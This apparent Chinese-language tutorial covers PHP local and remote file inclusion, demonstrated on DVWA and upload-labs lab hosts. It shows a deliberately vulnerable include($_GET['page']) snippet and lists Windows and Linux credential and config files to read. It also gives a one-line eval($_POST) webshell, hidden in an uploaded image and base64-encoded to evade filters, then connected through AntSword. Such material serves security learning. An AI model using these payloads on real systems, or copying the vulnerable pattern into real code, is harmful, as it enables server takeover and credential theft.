文件包含漏洞
- 原理解析
#PHP包含(PHP中提供了四个文件包含的函数)
require 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
include 找不到被包含的文件时只会产生警告(E_WARNING),脚本将继续执行
include_once 此语句和include()语句类似,如果该文件中的代码已经被包含,则不会再次包含。
require_once 此语句和require()语句类似,如果该文件中的代码已经被包含,则不会再次包含。
-
本地文件包含
#index1.php <?php include("phpinfo.txt"); ?>
# phpinfo.txt <?php phpinfo(); ?>
#config.txt $DBMS = 'MySQL'; $_DVWA = array(); $_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = 'root'; $_DVWA[ 'db_port'] = '3306';
由此可知,包含非PHP语法规范源文件时,将会暴露其源文件
- 远程文件包含
PHP不仅可以对本地文件进行包含,还可以对远程文件进行包含。如果要使用远程包含功能,需要在php.ini配置文件中修改allow_url_include = On //开启远程文件包含
#index2.php
<?php
include($_GET['page']);
?>
# http://192.168.254.182/test.txt
<?php
echo "远程文件包含漏洞";
?>
- 常见的攻击方式
#读取敏感文件
1)Windows系统
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Msql root
C:\windows\php.ini //php配置信息
2)UNIX/Linux
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //php相关配置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.conf //Mysql的配置文件
-
本地包含配合文件上传
#将一句话木马上穿到服务器 # http://192.168.254.183/upload-labs/upload/test.jpg <?php fputs(fopen("shell.php","w"),"<?php eval($_POST[wcs]);?>") ?>
访问URL:http://192.168.254.183/dvwa/vulnerabilities/fi/?page=…/…/…/upload-labs/upload/test.jpg
这个实现的要求还是比较大的,首先php.ini 中allow_url_fopen选项是激活的,然后还要知道上传文件在服务器的路径,最后所访问路径允许fputs生成文件。并且使用上面未编码的方式写入一句话木马存在过滤的情况,所以可以使用下面编码的方式进行过滤,如果不进行编码,文件包含生成的一句话木马会为空。
#原一句话木马
<?php @eval($_POST['wcs']);?>
#Base64编码后
<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgZXZhbCgkX1BPU1Rbd2NzXSk7Pz4='));?>
-
使用蚁剑进行连接
-
编辑连接信息,将路径和密码填入
-
成功进入后台